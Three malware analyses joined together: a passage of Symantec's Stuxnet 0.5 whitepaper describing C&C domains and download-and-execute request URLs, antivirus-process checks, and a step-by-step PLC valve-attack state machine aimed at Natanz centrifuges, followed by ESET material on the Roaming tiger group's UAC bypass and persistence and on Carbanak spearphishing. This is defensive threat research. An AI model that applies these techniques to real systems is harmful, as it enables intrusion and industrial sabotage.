http://www.securityfocus.com/bid/54651 http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf Stuxnet 0.5: The Missing Link Page 4 Security Response Stuxnet Dossier, Step 7 Project File Infections).
The following is an example file listing of an infected Step 7 project file.
ApiLog/Types  modified to trigger DLL loading vulnerability XUTILS/links/S7P00001.DBF  configuration file XUTILS/listen/S7000001.MDX  payload DLL (installation.dll) XUTILS/listen/XR000000.MDX  main Stuxnet binary (outbreak.dll) hOmSave7/subfolder/s7hkimdb.dll - loader Command-and-control Similar to Stuxnet 1.x versions, Stuxnet 0.5 has limited command-and-control ability.
In particular, Stuxnet 0.5 does not provide fine grained control to its authors.
Instead, Stuxnet 0.5 can only download new code and update itself.
Stuxnet needs to ultimately spread on isolated networks with no Internet access, therefore it has been designed to be autonomous to reduce the need for robust and fine grained command-and-control.
Stuxnet 0.5 also uses a secondary peer-to-peer mechanism to propagate these code updates to peers on networks inaccessible to the broader Internet.
Command-and-control is implemented by the inetpsp.dll file while peer-to-peer communications are implemented by the netsimp32.dll file.
Both files are loaded by the usbacc11.sys driver and then injected into the svchost.exe and iexplore.exe processes.
Stuxnet 0.5 has four CC servers, all of which are now either unavailable or have since been registered by an unrelated party: smartclick.org best-advertising.net internetadvertising4u.com ad-marketing.net Interestingly, Stuxnet 0.5 is programmed to stop contacting the CC server after January 11, 2009, even though the threat is programmed to only stop spreading after a later date of July 4, 2009.
The CC server domains were created in 2005 and all displayed the same front page purporting to be an Internet advertising agency named Media Suffix (figure 1) with the tag line Believe What the Mind Can Dream.
The servers were hosted on commercial hosting providers in the United States, Canada, France, and Thailand.
The fact that these domains were in operation since 2005, suggests that the Stuxnet project started more than seven years ago.
Figure 1 Internet advertising agency homepage for Stuxnet CC servers http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf Stuxnet 0.5: The Missing Link Page 5 Security Response The first request by Stuxnet 0.5 uses the following form: http://domain/cgi/link.php?sitexx This notifies the CC server of an active successful infection.
Next, Stuxnet 0.5 sends the following request: http://domain/cgi/click.php?xitexxnumyyc1jxkxlx This may download and execute a file if an update is available.
The final target network for Stuxnet 0.5 was likely isolated from the Internet.
To allow updates to reach these machines, Stuxnet 0.5 also used a peer-to-peer mechanism.
As long as one updated version was introduced into this networkfor example through an infected USB keyall the other infected machines on the network could receive updates or new code modules.
Stuxnet 0.5 uses Windows mailslots for peer-to-peer communication.
Mailslots allow a process to pass a message to another process on a remote machine.
Stuxnet 0.5 enumerates all machines on the network and attempts to connect to a mailslot named \\[REMOTE MACHINE NAME]\mailslot\svchost.
It then provides a callback mailslot name of \\[LOCAL MACHINE NAME]\mailslot\imnotify.
Stuxnet 0.5 uses these mailslots for peer-to-peer communication and to pass code updates.
In addition, Stuxnet 0.5 may configure systems to allow anonymous logins and then provides the following file shares: temp msagent SYSADMIN WebFiles This allows file retrieval by peer infections.
Shared files include: WinDir\msagent\agentsb.dll WinDir\msagent\intl\agt0f2e.dll WinDir\system32\complnd.dll WinDir\system32\dllcache\datacprs.dll WinDir\system32\wbem\perfnws.dll WinDir\Installer\6F716D8C-398F-11D3-85E1-005004838609\places.dat Payload Man-in-the-Middle In order to both fingerprint the target system and inject malicious Programmable Logic Controller (PLC) code, Stuxnet 0.5 replaces two Step 7 DLLs in order to hijack communications with a PLC.
The first DLL, s7otbxdx.dll, is hijacked in order to insert the malicious PLC code.
The same technique was used in Stuxnet versions 1.x (as described in W32.Stuxnet Dossier, Modifying PLCs).
Stuxnet 0.5 hooks fewer exports and verifies the CPU is a 417 PLC rather than a 315 PLC, otherwise the behavior remains generally the same.
The second DLL, s7aaapix.dll, is used for fingerprinting the target system and building DB8061, a PLC data block needed to conduct the attack.
The export AUTDoVerb is hijacked and the malicious s7otbxdx.dll file can call the export with magic values (0x91E55A3D, 0x996AB716, 0x4A5CBB03) in order to build or provide a previously built DB8061 data block for injection.
Stuxnet hijacks AUTDoVerb in order to monitor any DOWNLOAD verb actions, which signifies the fingerprinting and building of DB8061 must occur again in order to ensure the target system is still correctly configured.
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf Stuxnet 0.5: The Missing Link Page 6 Security Response Fingerprinting and building DB8061 The building of the DB8061 block is a complicated and lengthy process.
Through the hijacked export, Stuxnet 0.5 will receive a pointer to the most recently used block (PLC programs consist of code and data blocks).
Stuxnet 0.5 will then traverse the project structure in order to find the symbols used by the S7 Program in the active project.
Symbols are human designated labels representing each device controlled by the PLC.
The symbol labels loosely follow the ANSI/ISA S5.1 Instrumentation Symbols and Identification standard used in Piping and Instrumentation Diagrams (PID).
Stuxnet 0.5 uses these labels for both fingerprinting and determining the addresses of each device in order to modify the behavior of those devices.
Symbol label parsing The target system must be a SIMATIC 400 Station (0x14109A) or SIMATIC H-Station (0x141342), which use 417 PLCs.
The symbol labels must match the format: delimiterFunctionIdentifierdelimiterC ascadeModuledelimiterCascadeNumberDev iceNumber A valve in module A21, also in cascade 8, and associated with centrifuge 160, would have the symbol label PV- A21-8-160, for example.
Each field is defined as follows: Delimiter Either space ( ), hyphen (-), underscore (_), or not present at all.
FunctionIdentifer A string that matches a set of strings (available in Appendix C) that loosely follows the ANSI/ISA S5.1 Instrumentation Symbols and Identification standard.
If the string is PIA (Pressure Indicator Alarm), it is expected to be followed by a one digit number.
These strings will represent the device type (a valve, a transducer, or a status light, for instance).
CascadeModule Must be the string A21 to A28 inclusive.
These strings match cascade modules in Natanz, Iran, seen publicly described as A24, A26, and A28.
CascadeNumber Single character that is in the letter range A to R. If it is not in this letter range, it checks to see if it is two digits in the decimal range 00 to 18.
This two digit number is the number representation of the letter for A to R. Table 4 Stuxnet 0.5 hooks fewer exports Stuxnet v0.500 Stuxnet v1.xxx s7_event s7_event s7ag_bub_cycl_read_create s7ag_bub_read_var s7ag_bub_read_var_seg s7ag_bub_write_var s7ag_bub_write_var_seg s7ag_link_in s7ag_read_szl s7ag_read_szl s7ag_test s7ag_test s7blk_delete s7blk_delete s7blk_findfirst s7blk_findfirst s7blk_findnext s7blk_findnext s7blk_read s7blk_read s7blk_write s7blk_write s7db_close s7db_open s7db_open http://www.isa.org/Template.cfm?SectionStandards8Template/Ecommerce/ProductDisplay.cfmProductID10768 Stuxnet 0.5: The Missing Link Page 7 Security Response DeviceNumber This is parsed in a more complex fashion depending on the device type as determined by the function identifier and caters to three possible cascade arrangements.
The device type mappings to function identifiers are available in Appendix C. Device type 0 A string of digits: If the length of the digits is less than three, the device type is changed to device type 6.
If the length of the digits is greater than or equal to three, the device type is changed to device type 7.
Device type 1, 2, 3 : A two digit number in the range 1 to 25.
Device type 4, 5, or 7 Device type 4, 5, or 7 has three different formats: Format 1 : Decoded as two separate two-digit numbers representing the stage number and the centrifuge number within the stage, respectively.
The stage number must be in the decimal range 1 to 15, which matches with the known Natanz configuration.
For each of these 15 stages, the maximum number of expected centrifuges in each corresponding stage is looked up in the following array.
This means, for example, stage 3 is expected to have a second two digit number equal to 4 or less.
This requirement is consistent with the centrifuge arrangement within a cascade.
Format 2 : A three digit number that must be less than 164, which is the number of centrifuges in a cascade.
Format 3 L: A two digit number followed by a letter.
The letter must be in the range A to D, and the number must be in the decimal range 1 to 43.
This arrangement sub-divides each stage into sub-clusters of four.
Device type 6 : A two digit number in the range 1 to 30.
Device type 8, 9, B, or C : A two digit number in the range 1 to 3.
Table 5 Stage numbers with expected numbers of centrifuges Stage 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Max  2 2 4 6 8 10 12 16 20 24 20 16 12 8 4 Stuxnet 0.5: The Missing Link Page 8 Security Response Device type A delimiterstring: A two digit number in the range 1 to 3 with an optional string preceded by a delimiter character.
The string must start with the letter S and contain the letter P. If the string is present, the device is modified to be device type 0xB instead (Flow Rate Transmitter Controller Output, rather than device type 0xA which is Flow Rate Transmitter Controller Input).
Based on the symbol fingerprinting, the following table summarizes what devices and labels Stuxnet looks for within the symbol table.
Symbol address parsing Each symbol label will have two corresponding addresses:  -- the address in the process image area and the direct peripheral address of the device represented by the symbol.
Modifying the memory at these addresses allows the PLC to control and read the behavior of the associated device.
For example, the value may be a Boolean value turning a switch on or off, or a 16-bit value representing the current temperature of the system.
Addresses can be either outputs (the PLC sets the value to modify the behavior of the device) or inputs (the PLC reads the value to determine the current state of the device).
Device types 0, 1, 5, and B must be output addresses and device types 2, 3, 4, 5, 6, 7, 8, 9, A, and C must be input addresses.
Values at addresses for device types 0, 1, 2, 3, 4, and 5 must be bit values.
Values at addresses for device types 6, 7, 8, 9, A, B, and C must be 16-bit values.
Cascade rating and building DB8061 After parsing the symbols and addresses for each cascade, the code inspects the configuration of each cascade.
Depending on the configuration, a rating is calculated.
Certain devices in certain configurations will result in higher ratings.
When complete, only the six highest-rated cascades have data written to DB8061.
Finally, a flag is set signifying DB8061 has been built.
This flag is reset to 0 every time the DOWNLOAD verb is executed.
Table 6 Summary of Stuxnet symbol label parsing Device type PID function identifier Devices per cascade Min Max Auxiliary valve HS, HV, PV, EP, ZLO,ZO,ZLC,ZC 2 25 Centrifuge valve MVS, RVS, VS, MV,RV,SV,YV 163 164 Stage pressure transducer PT, PCV, PIA, PIT, PIC, PI, PS 3 30 Centrifuge pressure transducer PT, PCV, PIA, PIT, PIC, PI, PS 0 164 Flow rate sensor FIA, FIT, FITC,FIC,FT,MFC,MFM 0 3 Stuxnet 0.5: The Missing Link Page 9 Security Response PLC device attack code The code conducts an attack by closing valves in the six top rated cascades out of the possible 18 cascades.
The states of two types of valves are modified: Centrifuge valves  a set of three valves (feed, product, tails) that work in unison per centrifuge to control uranium hexafluoride (UF6) flow into each centrifugeStage valves  one per stage to control UF6 flow into each stage Auxiliary valves  valves that control UF6 flow into or out of each stage (stage valve) or the cascade as a whole Similar to version 1.x of Stuxnet, the PLC device attack code consists of a state machine with eight possible states: State 0 (Wait): Perform system identification and wait for the enrichment process to reach steady state before attack.
This can take approximately 30 days.
State 1 (Record): Take peripheral snapshots and build fake input blocks for replaying later.
State 2 (Attack centrifuge valves): Begin replaying fake input signals.
Close valves on most centrifuges.
State 3 (Secondary pressure reading): Open both centrifuge and feed stage valves in the final stage of a single cascade to obtain a low pressure reading.
Figure 2 Example valve configuration showing both valve types in three stages of a cascade Stuxnet 0.5: The Missing Link Page 10 Security Response State 4 (Wait for pressure change): Wait for desired pressure change or time limit.
This can take up to approximately two hours.
State 5 (Attack auxiliary valves): Open all auxiliary valves except valves believed to be near the first feed stage (stage 10).
Wait for three minutes in this state.
State 6 (Wait for attack completion): Wait for six minutes while preventing any state changes.
State 7 (Finish): Reset and return to state zero.
State 0: The code verifies the system has reached steady state by monitoring the state of each auxiliary valve and the amount of elapsed time.
The valves must not change state for a period of 300 snapshots.
In addition, the code determines if most of the centrifuge valves are in the open or closed position.
All cascades must be operational for three or more days, or currently be in the down state.
At least one cascade must have been operating for more than 35 days, or collectively all cascades must have been operating for more than 297 days.
Between 3 and 7 of the first 21 auxiliary valves must have been opened in the last 2 days.
Figure 3 State flow diagram of 417 PLC device attack code Stuxnet 0.5: The Missing Link Page 11 Security Response Most of the pressure readings associated with the auxiliary valves must be within an expected range.
Only if these all conditions are met does the code proceed to state 1.
State 1: There are 21 snapshots of the peripheral I/O values that are taken one second apart.
These values are stored for replay during the attack.
This prevents systems and technicians from realizing the system is no longer operating as expected.
State 2: First, the normal operating pressure is obtained and stored for replay later.
For each stage a portion of all the centrifuge valves are closed, except in the feed stage (stage 10).
The centrifuge valves in the feed stage remain completely open, while the centrifuge valves at both the product end and tails end are completely closed.
The particular centrifuge valves closed per stage are randomly chosen.
The code will randomly chose a starting centrifuge valve and then close the next one in order until the last centrifuge valve in the stage.
If the total desired number of valves to close for that stage has not been reached, the code will continue from the first centrifuge valve in the stage until the maximum valves to close are reached.
State 3: In state 3, in a single cascade, both centrifuge valves in stage 1 are opened and it is likely the stage valve of stage 1 is also opened.
Then, the code obtains a pressure reading at stage 1.
The pressure should be relatively low.
This value is used for replay in later stages.
If the normal pressure operating pressure wasnt obtained properly in state 2, state 3 is actually skipped and hardcoded default values are used instead.
State 4: State 4 waits for the desired pressure change or other predetermined time limits before proceeding to state 5.
If any of the following conditions are met, the code will continue to state 5: The pressure of the stage 10 or stage 11 transducer (these are likely transducers for or near the feed stage) has an absolute value greater than 280 units above the expected value and greater than five times the expected value.
46 minutes after the state of an auxiliary valve has been modified from the original state recorded in state 1, with the exception of auxiliary valve number 17 which is likely a stage valve near the product end.
2 hours and 3 minutes after the attack started (since state 2) without any centrifuge valve state changes.
2 hours and 3 minutes since at least four centrifuge valve states have been modified from the original state recorded in state 1.
State 5: In state 5, all the auxiliary valves are opened except valve numbers 17, 18, and 20.
Before continuing to state 6, the Table 7 Processing stages and valves states Stage 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Centrifuges 2 2 4 6 8 10 12 16 20 24 20 16 12 8 4 Centrifuge valves to close 2 2 2 4 6 8 10 13 14 0 14 13 10 8 4 Percentage closed 100 100 50 67 75 80 83 81 70 0 70 81 83 100 100 Stuxnet 0.5: The Missing Link Page 12 Security Response code waits for at least 2 minutes and 53 seconds.
State 6: During state 6, fake values continue to be replayed and any attempts to change device values are prevented for 6 minutes and 58 seconds.
State 7: Data is reset and the code returns to state 0.
By closing all valves except the initial feed stage valves, UF6 will continue to flow into the system.
This act alone may cause damage to the centrifuges themselves.
However, the attack expects the pressure to reach five times the normal operating pressure.
At this pressure, significant damage to the uranium enrichment system could occur and the UF6 gas could even revert to a solid.
Whether the attack succeeded in this manner or not remains unclear.
Even if the attack did succeed, the attackers decided to move to a different strategy in the Stuxnet 1.x versions, attacking the speed of the centrifuges instead.
Conclusion Stuxnet 0.5 clarifies the evolution and history of Stuxnet.
Stuxnet clearly became more aggressive over time and switched development platforms as it evolved from 0.5 versions to later 1.x versions.
Key parts of the 417 attack code missing from versions 1.x is fully implemented in Stuxnet 0.5.
This demonstrates that the 417 attack code was the first attack strategy implemented by Stuxnet.
This original 417 attack code attempted to modify valve states during the uranium enrichment process at Natanz, Iran, to cause damage to the centrifuges and the system as a whole.
The success of Stuxnet 0.5 remains unknown.
However, the chart in figure 4 references uranium enrichment production at Natanz to key milestones of Stuxnet development.
Interesting events are dips in feed or production amounts and lower levels of production given the same or greater feed amounts (shown as gaps between the two lines).
While the discovery of Stuxnet 0.5 helps to deepen our overall understanding of Stuxnet and what its goals are, versions remain unrecovered.
If these are located, they may expose other secrets behind this operation and more clues to its origins, but obtaining these other samples may prove to be next to impossible.
Figure 4 Low-enriched uranium production (source ISIS) Stuxnet 0.5: The Missing Link Page 13 Security Response Appendix A The following registry entries are indicators of compromise: HKEY _ LOCAL _ MACHINE\SYSTEM\CurrentControlSet\Services\MRxCls HKEY _ LOCAL _ MACHINE\SYSTEM\CurrentControlSet\Services\usbacc11 HKEY _ USERS\SID\Software\Microsoft\Windows\CurrentVersion\Explorer\ ShellRecoveryState The following files are indicators of compromise: WinDir\inf\mdmcpq3.PNF  Encrypted installation.dll WinDir\inf\mdmeric3.PNF  P2P configuration file WinDir\inf\oem6C.PNF  Log file WinDir\inf\oem7A.PNF  Main Stuxnet component (outbreak.dll) WinDir\inf\oem7F.pnf WinDir\inf\oem7w.pnf  Encrypted installation.dll WinDir\inf\67.tmp  Encrypted installation.dll System\drivers\mrxcls.sys  Load point driver System\drivers\usbacc11.sys  Load point driver for CC server modules System\drivers\PCIBUS.SYS  Timer driver for generating BSoD System\comuid.dat System\netsimp32.dll  P2P communication System\inetpsp.dll  CC server communication System\perfg009.dat WinDir\msagent\agentsb.dll WinDir\msagent\intl\agt0f2e.dll System\complnd.dll System\dllcache\datacprs.dll System\wbem\perfnws.dll WinDir\Installer\6F716D8C-398F-11D3-85E1-005004838609\places.dat System\dssbase.dat  Log file AllUsersProfile\Application Data\Microsoft\HTML Help\hhorcslt.dat Temp/DF419a.tmp WinDir\help\winmic.fts  Configuration file for Step 7 infections Stuxnet 0.5: The Missing Link Page 14 Security Response Appendix B Processes checked for and the assumed security product associated with the process: umxagent, Tiny Personal Firewall cfgintpr, Tiny Personal Firewall umxldra, Tiny Personal Firewall amon, Tiny Activity Monitor UmxCfg, Tiny Personal Firewall UmxPol, Tiny Personal Firewall UmxTray, Tiny Personal Firewall vsmon, ZoneAlarm Personal Firewall zapro, ZoneAlarm Personal Firewall zlclient, ZoneAlarm Personal Firewall tds-3,TDS3 Trojan Defense Suite avp, Kaspersky avpcc, Kaspersky avpm, Kaspersky kavpf, Kaspersky kavi, Kaspersky safensec,SafenSoft snsmcon, SafenSoft filemon, Sysinternals Filemon regmon, Sysinternals Filemon FrameworkService, McAfee UpdaterUI, McAfee shstat, McAfee naPrdMgr, McAfee rapapp.exe, Blackice Firewall blackice.exe, Blackice Firewall blackd.exe, Blackice Firewall rcfgsvc.exe pfwcfgsurrogate.exe, Tiny Personal Firewall pfwadmin.exe, Tiny Personal Firewall persfw.exe, Kerio Personal Firewall agentw.exe, Kerio Personal Firewall agenta.exe, Kerio Personal Firewall msascui.exe, Windows Defender msmpeng.exe, Windows Defender fssm32.exe, F-Secure fsgk32st.exe, F-Secure fsdfwd.exe, F-Secure fsaw.exe, F-Secure fsavgui.exe, F-Secure fsav32.exe, F-Secure fsav.exe, F-Secure fsma32.exe, F-Secure fsm32.exe, F-Secure fsgk32.exe, F-Secure Stuxnet 0.5: The Missing Link Page 15 Security Response Appendix C Table of each allowed function identifier, the corresponding device type, and the assumed device name.
Table 8 Function identifiers, device types, and assumed device name Function identifier Device type Device name PT 0 Pressure Transmitter PCV 0 Pressure Control Valve PIA 0 Pressure Indicator Alarm PIT 0 Pressure Indicator Transmitter PIC 0 Pressure Indicator Controller PI 0 Pressure Indicator PS 0 Pressure Switch HS 1 Hand Switch HV 1 Hand Valve PV 1 Pressure Valve EP 1 Voltage (Test) Point ZLO 2 Light Position Open (Status light) ZO 2 Position Open ZLC 3 Light Position Closed ZC 3 Position Closed MVS 4 Manual Valve Switch RVS 4 Relief Valve Switch VS 4 Valve Switch SHS 4 High Frequency Switch MV 5 Manual Valve RV 5 Relief Valve SV 5 Frequency Control Valve YV 5 Valve State Indicator FIA 8 Flow Rate Indicator Alarm FITC A Flow Rate Indicator Transmitter Controller FIT 9 Flow Rate Indicator Transmitter FIC C Flow Rate Indicator Controller FT C Flow Rate Transmitter MFC C Mass Flow Controller MFM C Mass Flow Meter Stuxnet 0.5: The Missing Link Page 16 Security Response Appendix D Organization of Stuxnet 0.5 components and behavior of each export.
Figure 5 Organization of Stuxnet 0.5 components Table 9 Payload exports for Outbreak.dll Payload exports Description Export 1 Infect Step 7 projects on insertion of removable drives Export 2 Hook Step 7 for Step 7 project infection Export 4 Uninstall routine Export 5 Verifies installation Export 6 Returns version number Export 7 Loads peer-to-peer communication data file Export 8, 9, and 10 Updates Stuxnet from infected Step 7 project archives Export 11 Inject module into services.exe Export 12 Install routine Export 13 Call export 1 Stuxnet 0.5: The Missing Link Page 17 Security Response Resources W32.Duqu http://www.symantec.com/security_response/writeup.jsp?docid2011-101814-1119-99 W32.Flamer http://www.symantec.com/security_response/writeup.jsp?docid2012-052811-0308-99 W32.Stuxnet http://www.symantec.com/security_response/writeup.jsp?docid2010-071400-3123-99 Multiple Siemens SIMATIC Products DLL Loading Arbitrary Code Execution Vulnerability (CVE-2012-3015) http://www.securityfocus.com/bid/54651 Stuxnet 0.5: The Missing Link http://www.symantec.com/connect/blogs/stuxnet-05-missing-link Stuxnet 0.5: Disrupting Uranium Processing At Natanz http://www.symantec.com/connect/blogs/stuxnet-05-disrupting-uranium-processing-natanz Stuxnet 0.5: How it Evolved http://www.symantec.com/connect/blogs/stuxnet-05-how-it-evolved Stuxnet 0.5: Command-and-Control Capabilities http://www.symantec.com/connect/blogs/stuxnet-05-command-and-control-capabilities Community credits Symantec would like to thank the Institute for Science and International Security (ISIS) for their continued assistance in understanding centrifugal uranium enrichment systems.
http://www.symantec.com/security_response/writeup.jsp?docid2011-101814-1119-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-052811-0308-99 http://www.symantec.com/security_response/writeup.jsp?docid2010-071400-3123-99 http://www.securityfocus.com/bid/54651 http://www.symantec.com/connect/blogs/stuxnet-05-missing-link http://www.symantec.com/connect/blogs/stuxnet-05-disrupting-uranium-processing-natanz http://www.symantec.com/connect/blogs/stuxnet-05-how-it-evolved http://www.symantec.com/connect/blogs/stuxnet-05-command-and-control-capabilities http://isis-online.org/ For specific country offices and contact num- bers, please visit our Web site.
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Roaming tiger Anton Cherepanov cherepanoveset.sk Intro In 2014 ESET observed similar attacks in Russia and CIS countries: Belarus, Kazakhstan, Kyrgyzstan, Tajikistan, Ukraine and Uzbekistan Similarities: Same infection vectors Use of RTF exploits since autumn of 2014 Same malware families are used in attacks Purpose is to steal data Roaming tiger group Characteristics of Roaming tiger: High profile victims in Russia Use of RTF vulnerabilities (CVE-2012-0158 and CVE-2014-1761) Win32/Korplug (aka PlugX RAT) Win32/Farfli.
BEK (aka Gh0st RAT) RTF exploits CVE-2014-1761 copied from the same template: CVE-2014-1761 is poorly implemented First stage shellcode cant find second stage shellcode p11-marker: Examples of decoy documents 1/5 Examples of decoy documents 2/5 Examples of decoy documents 3/5 Examples of decoy documents 4/5 Examples of decoy documents 5/5 Win32/Korplug tricks: DLL Side-loading Digitally signed executable DLL file File with raw code Win32/Farfli.
BEK tricks: UAC bypass Step 1: Hook ntdll.
NtQueryDirectoryFile inside explorer.exe Step 2: Copy previously dropped DLL to following locations: a) WINDIR\system32\wbem\loadperf.dll (WinXP) b) WINDIR\system32\migwiz\wdscore.dll (Vista) Execute wmiadap.exe(WinXP) or migwiz.exe(Vista) Win32/Farfli.
BEK tricks: Persistence 1/2 Win32/Farfli.
BEK drops following files: WINDIR\AppPatch\msimain.mui  raw code WINDIR\AppPatch\AcProtect.dll Drops Shim DataBase  registers it: WINDIR\AppPatch\Custom\GUID.sdb Win32/Farfli.
BEK tricks: Persistence 2/2 EMET-style sdb (output generated using sdb-explorer by Jon Erickson): 44e TAG 7001 - DATABASE 454 TAG 4023 - OS_PLATFORM 45a TAG 6001 - NAME: AcProtect_Database 460 TAG 9007 - DATABASE_ID: F8C4CC07-6DC4-418F-B72B-304FCDB64052 NON-STANDARD 476 TAG 7002 - LIBRARY 47c TAG 7004 - SHIM 482 TAG 6001 - NAME: AcProtect_Shim 488 TAG 600a - DLLFILE 48e TAG 7007 - EXE 494 TAG 6001 - NAME: twunk_32.exe 49a TAG 6006 - APP_NAME: AcProtect_Apps skipped 4d4 TAG 7007 - EXE 4da TAG 6001 - NAME: explorer.exe 4e0 TAG 6006 - APP_NAME: AcProtect_Apps skipped Used CC servers 1/2 Server IP address Location adobeflashupdate.dynu.com 122.10.92.14 Hong Kong checkpdate.youdontcare.com 122.10.118.129 Hong Kong csrss.dnsedc.com 122.10.118.131 Hong Kong dotkang.vicp.net 122.10.118.131 Hong Kong dwm.dnsedc.com 122.10.118.131 Hong Kong fsvts.vicp.net futuresgolda.com gf.arabidc.com 122.10.83.51 Hong Kong kkts.yeshopea.com 103.225.196.140 Hong Kong nativeame2.jkub.com 103.225.196.140 Hong Kong news.bfinancea.net 122.10.118.129 Hong Kong systemupdate5.dtdns.net googlenewsup.net Used CC servers 2/2 Server IP address Location spacecorp.sizn-ru.com niisvt.f3322.org 122.10.83.62,103.20.222.170 Hong Kong note.wikaba.com 122.10.83.62 Hong Kong systemupdate1.suroot.com 122.10.92.15 Hong Kong systemupdate1.suroot.com 122.10.92.15 Hong Kong systemupdate3.suroot.com vk.newsupdatea.net 123.254.109.166 Hong Kong www.dnsqaz.com 122.10.83.62 Hong Kong www.sizn-ru.com  122.10.83.62, 122.112.2.14 Hong Kong yahoomessenger.flnet.org 122.10.92.15 Hong Kong transactiona.com 122.10.92.14 Hong Kong systemupdate2.etowns.net 122.10.92.14 Hong Kong adobeupdate1.dtdns.net 122.10.92.15 Hong Kong Domains information Updated Date: 2014-07-28 17:17:48Z Creation Date: 2014-07-28 17:17:48Z Registrant Name: liu qiuping Registrant Organization: huajiyoutian Registrant City: Beijing Registrant State/Province: BJ Registrant Postal Code: 100191 Registrant Country: CN Registrant Email: yuminga1126.com Conclusions We are observing attacks in Russia and CIS countries Tip of the iceberg: just one group Steps taken: Composed IoC Contacted CERTs Credits Special thanks to Cedric Gilbert cherepanoveset.sk
Carbanak gang is back and packing new guns www.welivesecurity.com /2015/09/08/carbanak-gang-is-back-and-packing-new-guns/ By Anton Cherepanov posted 8 Sep 2015 - 10:49AM The Carbanak financial APT group made the headlines when Group-IB and Fox-IT broke the news in December 2014, followed by the Kaspersky report in February 2015.
The two reports describe the same cybercriminal gang which stole up to several hundreds of millions of dollars from various financial institutions.
However, the story is interesting not only because of the large amount of money stolen but also from a technical point of view.
The Carbanak team does not just blindly compromise large numbers of computers and try to milk the cow as other actors do, instead they act like a mature APT-group.
They only compromise specific high-value targets and once inside the company networks, move laterally to hosts that can be monetized.
A few days ago CSIS published details about new Carbanak samples found in the wild.
In this blog we will describe the latest developments in the Carbanak story.
1/15 http://www.welivesecurity.com/2015/09/08/carbanak-gang-is-back-and-packing-new-guns/ https://www.fox-it.com/en/press-releases/anunak/ https://securelist.com/blog/research/68732/the-great-bank-robbery-the-carbanak-apt/ https://www.csis.dk/en/csis/blog/4710/ http://www.welivesecurity.com/wp-content/uploads/2015/09/image1.png http://www.welivesecurity.com/wp-content/uploads/2015/09/image2.png http://www.welivesecurity.com/wp-content/uploads/2015/09/image3.png http://www.welivesecurity.com/wp-content/uploads/2015/09/image4.png http://www.welivesecurity.com/wp-content/uploads/2015/09/image5.png http://www.welivesecurity.com/wp-content/uploads/2015/09/image6.png http://www.welivesecurity.com/wp-content/uploads/2015/09/image7.png http://www.welivesecurity.com/wp-content/uploads/2015/09/Screen-Shot-2015-09-08-at-09.50.14.png Casino hotel hack At the end of August, we detected an attempt to compromise the network of a casino hotel in the USA.
The infection vector used in this attack may have been a spearphishing e-mail with a malicious attachment using an RTF-exploit or .SCR file.
The attackers aim was to compromise PoS servers used in payment processing.
The main backdoor used by attackers was the open-source Tiny Meterpreter.
In this case, however, the source was modified  the process injection to svchost.exe was added to its functionality.
This Tiny Meterpreter backdoor dropped two different malware families: Win32/Spy.
Sekur  well known malware used by the Carbanak gang Win32/Wemosis  a PoS RAM Scraper backdoor As mentioned here by our colleagues from TrendMicro, Carbanak malware is capable of targeting Epicor/NSB PoS systems, while Win32/Wemosis is a general-purpose PoS RAM Scraper which targets any PoS that stores card data in the memory.
The Wemosis backdoor is written in Delphi and allows the attacker to control an infected computer remotely.
Both executables were digitally signed with the same certificate: 2/15 http://virusradar.com/en/Win32_Spy.
Sekur/detail http://virusradar.com/en/Win32_Wemosis/detail http://blog.trendmicro.com/trendlabs-security-intelligence/signed-pos-malware-used-in-pre-holiday-attacks-linked-to-targeted-attacks/ The certificate details: Company name: Blik Validity: from 02 October 2014 to 03 October 2015 Thumbprint: 0d0971b6735265b28f39c1f015518768e375e2a3 Serial number: 00d95d2caa093bf43a029f7e2916eae7fb Subject: CN  Blik O  Blik STREET  Berzarina, 7, 1 L  Moscow S  Moscow PostalCode  123298 C  RU This certificate was also used in the digital signature of a third malware family used by the same gang: Win32/Spy.
Agent.
ORM.
Win32/Spy.
Agent.
ORM  overview Win32/Spy.
Agent.
ORM (also known as Win32/Toshliph) is a trojan used as one of their first-stage payloads by the Carbanak gang.
The binary of the testing version was signed with a Blik certificate: moreover, Spy.
Agent.
ORM shares some similarities in the code with the regular Carbanak malware.
3/15 http://virusradar.com/en/Win32_Spy.
Agent.ORM/detail The Win32/Spy.
Agent.
ORM malware family is already known in the industry because of two blogposts.
In July 2015 security company Cyphort reported the compromise of a news portal and a banking site  rbc.ua and unicredit.ua.
It turns out that the compromised sites served Win32/Spy.
Agent.
ORM.
After that, Blue Coat reported a spearphishing attempt targeting Central Bank of Armenia employees, the payload being the same.
This malware appeared on our radar at the beginning of summer 2015, and afterwards we started to track it.
We have seen attempts to attack various companies in Russia and Ukraine using spearphishing e-mails that have malicious attachments consisting of .SCR files or .RTF exploits.
Here is an example of a spearphishing email sent to one of the biggest Forex-trading companies: Roughly translated from Russian to English, it says: Due to the high volatility of the ruble exchange rate the Bank of Russia sends rules of trading on the currency market.
Password the attached document: cbr 4/15 http://www.cyphort.com/unicredit-compromised/ http://www.cyphort.com/unicredit-compromise-continued/ https://www.bluecoat.com/security-blog/2015-08-21/tinted-cve-decoy-spearphising-attempt-central-bank-armenia-employees Here is another example of a spear phishing attempt.
Email with this text was sent to the largest electronic payment service in Russia: 04.08.2015.
27.07.2006 N 152- (.
21.07.2014)   .
.
roscomnadzor Another rough translation from Russian to English: According to Roscomnadzor prescript you should block the materials, which you can find in the attachment.
Password is roscomnadzor We have seen similar .SCR files with following filenames: - .scr (Alfabank contract) 04.08.2015.scr (List to block) Postanovlene_ob_ustranenii_18.08.2015.pdf LOTS_OF_SPACES ..scr 06.08.2015.pdf LOTS_OF_SPACES .scr (Rules of Bank of Russia) All these attachments contained a password protected archive with .SCR file.
The files had Adobe Acrobat reader icon or MS Word icons.
In other cases attackers used RTF files with different exploits, including an exploit for one of the latest Microsoft Office vulnerabilities, CVE-2015-1770, which was patched by Microsoft in June 2015 in MS15-059.
